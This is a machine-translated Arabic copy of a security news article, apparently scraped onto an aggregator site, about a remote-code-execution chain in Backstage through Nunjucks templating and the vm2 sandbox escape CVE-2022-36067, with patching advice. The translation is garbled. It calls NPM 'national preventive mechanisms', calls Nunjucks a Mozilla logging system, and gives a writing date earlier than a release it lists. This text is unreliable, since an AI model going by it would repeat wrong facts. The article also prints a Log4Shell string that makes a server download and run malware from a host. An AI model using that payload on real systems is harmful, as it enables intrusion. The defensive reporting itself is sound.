ثقب تنفيذ التعليمات البرمجية التي تشبه Log4Shell في أداة تطوير Backstage الشهيرة PlatoBlockchain Data Intelligence. البحث العمودي. عاي.

ثقب تنفيذ التعليمات البرمجية التي تشبه Log4Shell في أداة تطوير Backstage الشهيرة

قام الباحثون في شركة Oxeye لأمن التشفير السحابي بكتابة خطأ فادح اكتشفوه مؤخرًا في مجموعة أدوات تطوير السحابة الشهيرة Backstage.

هم تقرير يتضمن شرحًا لكيفية عمل الخطأ ، بالإضافة إلى كود إثبات المفهوم (PoC) الذي يوضح كيفية استغلاله.

Backstage هو ما يُعرف ببوابة مطور السحابة - وهو نوع من الخلفية المنطقية للأعمال التي تجعل من السهل إنشاء واجهات برمجة التطبيقات (API) المستندة إلى الويب (واجهات برمجة التطبيقات) للسماح للمبرمجين داخل وخارج عملك بالتفاعل مع خدماتك عبر الإنترنت.

على حد تعبير المشروع نفسه ، تم إنشاؤه في الأصل في Spotify ولكن الآن مفتوح المصدر على GutHub:

Backstage هي منصة مفتوحة لبناء بوابات المطورين. بدعم من كتالوج برامج مركزي ، يقوم Backstage باستعادة النظام للخدمات المصغرة والبنية التحتية الخاصة بك وتمكين فرق المنتجات الخاصة بك من شحن التعليمات البرمجية عالية الجودة بسرعة - دون المساومة على الاستقلالية.

يقوم Backstage بتوحيد جميع أدوات البنية التحتية والخدمات والوثائق الخاصة بك لإنشاء بيئة تطوير مبسطة من البداية إلى النهاية.

لا ، لا نعرف حقًا ما يعنيه ذلك ، لكننا نعلم أن مجموعة الأدوات مكتوبة بلغة JavaScript ، وتعمل باستخدام نظام JavaScript من جانب الخادم node.js، ويستخلص شبكة من تبعيات سلسلة التوريد من النظام البيئي للآليات الوقائية الوطنية.

NPM هو اختصار لـ مدير حزمة العقدة، مجموعة أدوات آلية للتأكد من أن كود JavaScript الخلفي الخاص بك يمكنه بسهولة الاستفادة من مجموعة واسعة من المكتبات مفتوحة المصدر التي توفر أدوات مساعدة شائعة ومكتوبة مسبقًا لكل شيء بدءًا من التشفير وإدارة قواعد البيانات إلى التسجيل والتحكم في الإصدار.

تنفيذ التعليمات البرمجية عن بعد

لسوء الحظ ، فإن الخطأ الذي تم الكشف عنه اليوم ، إذا لم يتم تصحيحه ، يمكن أن يمنح الغرباء غير المعتمدين (بشكل فضفاض ، أي شخص يمكنه إجراء اتصالات API بخوادمك) طريقة لتشغيل تنفيذ التعليمات البرمجية عن بُعد (RCE) داخل خوادم منطق الأعمال على شبكتك.

لكن لحسن الحظ ، إذا فسرنا كتابة Oxeye بشكل صحيح ، فإن الهجوم الذي يصفونه لـ Backstage RCE يعتمد على سلسلة من عيوب الترميز التي تعتمد في النهاية على خطأ معين ، CVE-2022-36067 في مكون سلسلة التوريد الذي يعتمد عليه Backstage يسمى vm2.

إذا كنت تتساءل ، فإن vm2 عبارة عن وحدة NPM للأغراض العامة تقوم بتنفيذ "وضع الحماية للجهاز الظاهري" الذي يهدف إلى جعل JavaScript محفوفًا بالمخاطر أكثر أمانًا لتشغيله على خوادمك.

كان هذا الخطأ CVE-2022-36067 في vm2 وذكرت مرة أخرى في أغسطس 2022 بواسطة Oxeye نفسها (التي أعطتها اسمًا مناسبًا للعلاقات العامة "Sandbreak" ، لأنه خرج من وضع الحماية) ، و مصححة على الفور بواسطة فريق vm2 منذ ثلاثة أشهر تقريبًا.

لذلك ، على حد علمنا ، إذا كنت من مستخدمي Backstage ، فستحتاج إلى التأكد من أنك قمت بتصحيح جميع المكونات المعرضة للخطر في إعداد Backstage ...

... ولكن إذا قمت بتصحيح مكون vm2 الذي كان عرضة لـ Sandbreak كل تلك الأشهر الماضية ، فيبدو أنك لست عرضة بشكل مباشر للاستغلال الموصوف في الكشف الأخير لـ Oxeye.

أيضًا ، إذا تم تكوين خوادم Backstage وفقًا لإرشادات الأمن السيبراني الجيدة ، مع المصادقة المطلوبة على كل من حافة الشبكة وداخل الشبكة ، فلن تكون عرضة لخطر التحقيقات العشوائية "لأغراض البحث فقط" من الأفراد "المعاونين" المحددين لإثبات اهتمامهم "بأبحاث" التهديد السيبراني.

هجوم "جبن إيمنتال"

ببساطة ، المشاكل الأمنية التي تم الكشف عنها حديثًا هي أحد الآثار الجانبية لسلسلة من المشكلات الأمنية ، مثل الثقوب في شرائح جبن Emmenthal التي يمكن اختراقها بالتسلسل إذا كان المهاجم قادرًا على اصطفاف ثقب واحد على الأقل على كل شريحة.

كما نفهمه ، يتضمن Backstage مكونًا يسمى Scaffolder ، والذي ، كما يوحي الاسم ، يساعدك على إدارة الوظائف الإضافية المختلفة (المعروفة باسم المكونات الإضافية) التي قد يحتاجها مجتمع مطوري البرامج لديك أو يحتاجها.

يستخدم Scaffolder بدوره نظام تسجيل الرسائل من Mozilla المعروف باسم Nunjucks ، والذي يتضمن ما يُعرف باسم سلسلة قوالب in node.js الدوائر ، مثل سلسلة الاستيفاء في عالم جافا ، وكما استبدال السلسلة إلى مسؤولي النظام الذين يستخدمون قذائف الأوامر مثل Bash.

إذا رن الاستيفاء الخيطي الجرس ، فربما يرجع السبب في ذلك إلى أنه يقع في قلب Log4Shell مرة أخرى في ديسمبر 2021 ، و Follina في منتصف عام 2022.

حيث يمكنك إعادة كتابة محتويات رسالة تسجيل بناءً على "أحرف ترميز" خاصة في قالب سلسلة ، بحيث تكون سلسلة مثل $USER قد يتم استبداله باسم الحساب الذي يستخدمه الخادم ، أو ${PID} قد يسترد معرف العملية الحالي.

في الحالة القصوى لـ Log4Shell ، التعويذة الغريبة المظهر ${jndi:ldap://example.com:8888/malware} يمكن أن يخدع الخادم مباشرة لتنزيل برنامج يسمى malware تبدأ من example.com وتشغيله بصمت في الخلفية.

بمعنى آخر ، تحتاج إلى التأكد تمامًا من أن البيانات الواردة من مصدر غير موثوق به ، مثل مستخدم خارجي ، لا يتم تمريرها بشكل أعمى إلى قالب سلسلة أو وظيفة الاستيفاء المتسلسل لاستخدامها كنص القالب نفسه.

إذا حاول مستخدم بعيد ، على سبيل المثال ، خداع الخادم الخاص بك عن طريق إعطاء اسم المستخدم الخاص به كـ ${{RISKY}} (بافتراض أن مكتبة النماذج تستخدم ${{...}} كعلامة خاصة به) ، فأنت بحاجة إلى التأكد من أن رمز التسجيل الخاص بك سيسجل هذا النص المشاغب بشكل صحيح حرفيًا كما تم استلامه ...

... بدلاً من السماح للنص الذي يتم تسجيله بالتحكم في وظيفة التسجيل نفسها!

بعبارات قافية قديمة في الحضانة ، عليك التأكد من أنك لن تغني في النهاية ، "هناك فجوة في ${{BUCKET}}عزيزتي ليزا عزيزتي ليزا هناك ثقب في بلدي ${{BUCKET}}عزيزتي ليزا. حفرة!"

ملفوفة ببطانية أمان

لكي نكون منصفين ، فإن وظيفة الاستيفاء / الاستيفاء التي ربما تكون قوية جدًا في Nunjucks يتم تغليفها بواسطة Backstage داخل مكون آخر لسلسلة التوريد ، وهو نظام sandboxing المذكور أعلاه vm2 ، والذي من المفترض أن يحد من الخطر الذي يمكن أن يفعله مستخدم ضار باستخدام الخداعية - بيانات الإدخال المحتجزة.

لسوء الحظ ، تمكن باحثو Oxeye من إقران مساراتهم التي تم اكتشافها حديثًا لإنشاء رمز القوالب في Backstage + Scaffolder + Nunjucks مع الثغرة الأمنية CVE-2022-36067 الأقدم في غلاف الأمان vm2 من أجل تحقيق تنفيذ محتمل للرمز عن بعد على خادم Backstage .

ماذا ستفعلين.. إذًا؟

إذا كنت من مستخدمي Backstage:

  • تأكد من أن لديك أحدث إصدارات Backstage وتبعياتها ، بما في ذلك plugin-scaffolder-backend مكون. وفقًا لـ Oxeye ، تم تصحيح الأخطاء ذات الصلة في كود Backstage بحلول 01 سبتمبر 2022 ، بحيث يجب أن يتضمن أي إصدار رسمي بعد تلك البيانات الإصلاحات. في وقت كتابة هذا التقرير [2022-11-1T16: 00Z] ، كان ذلك يتضمن Backstage 1.6.0, 1.7.0 و 1.8.0، تم إصداره في 2022-09-21 و 2022-10-18 و 2022-11-15 على التوالي.
  • تحقق من أن تثبيت Backstage الخاص بك يحتوي على مصادقة مكونة كما تتوقع. تدعي Oxeye أن المصادقة معطلة بشكل افتراضي ، وذلك بعد اتباع إرشادات وراء الكواليس، خوادم الواجهة الخلفية (التي من المحتمل ألا يتم الكشف عنها خارجيًا على أي حال) لا تزال تسمح بالوصول غير المصدق. قد يكون هذا هو ما تريده ، لكننا نوصي باستخدام هذه المشكلة كسبب للتحقق من أن إعدادك يتوافق مع نواياك.
  • تحقق من أي أجزاء من بنية Backstage الخاصة بك يمكن الوصول إليها من الإنترنت. مرة أخرى ، استخدم هذه المشكلة كسبب لفحص شبكتك الخاصة من الخارج إذا لم تكن قد فعلت ذلك مؤخرًا.

إذا كنت من مستخدمي node.js / NPM:

  • تأكد من أن لديك أحدث إصدار من مكون وضع الحماية vm2. قد تكون قد قمت بتثبيت هذا كتبعية للبرامج الأخرى التي تستخدمها ، حتى إذا لم يكن لديك Backstage. تم تصحيح الثغرة الأمنية CVE-2022-36067 في 2022-08-28 ، لذا فأنت تريد إصدار vm2 3.9.11 او فيما بعد.

إذا كنت مبرمجًا:

  • كن دفاعيًا قدر الإمكان عند استدعاء وظائف التسجيل القوية. إذا كنت تستخدم خدمة تسجيل (بما في ذلك Nunjucks أو Log4J) تتضمن ميزات قوالب / استيفاء قوية ، فقم بإيقاف تشغيل أي ميزات لا تحتاجها حتى لا يتم استغلالها عن طريق الخطأ. تأكد من أن المدخلات غير الموثوقة لا تُستخدم أبدًا كقالب ، وبالتالي منع المهاجمين من تدوير سلاسل الإدخال الخطيرة الخاصة بهم.
  • بغض النظر عن أي احتياطات أخرى في المكان ، قم بتعقيم مدخلات ومخرجات التسجيل الخاصة بك. تذكر أن شخصًا آخر سيحتاج إلى فتح ملفات السجل الخاصة بك في المستقبل. لا تسمح لكتابة أي أفخاخ مفخخة غير مقصودة في ملف السجل الخاص بك حيث يمكن أن تتسبب في مشاكل لاحقًا ، مثل أجزاء HTML مع وجود علامات نصية متبقية. (قد يفتح شخص ما الملف في متصفح عن طريق الخطأ.)

حتى عندما تتلقى مدخلات من مصدر موثوق ، نادرًا ما يكون هناك أي سبب لعدم إخضاعها لفحوصات التعقيم الخاصة بك قبل استخدامها.

(يمكنك أحيانًا تبرير استثناء ، لأسباب تتعلق بالأداء على سبيل المثال ، ولكن يجب أن يكون استثناءً وليس قاعدة.)

أولاً ، يساعدك التحقق مرة أخرى على اكتشاف الأخطاء التي ربما ارتكبها المبرمجون السابقون بحسن نية ؛ ثانيًا ، يساعد في الحد من انتشار البيانات السيئة أو المفخخة في حالة تعرض جزء آخر من نظامك البيئي للخطر.

الشيء في شرائح جبن إيمنتال الذي ذكرناه سابقًا هو أنه على الرغم من أنها قابلة للاختراق إذا كان هناك ثقب واحد على الأقل يصطف على كل ورقة ...

... إنها غير منفذة إذا كان هناك ورقة واحدة على الأقل بها ثقوب لا تصطف على الإطلاق!


الطابع الزمني:

اكثر من الأمن عارية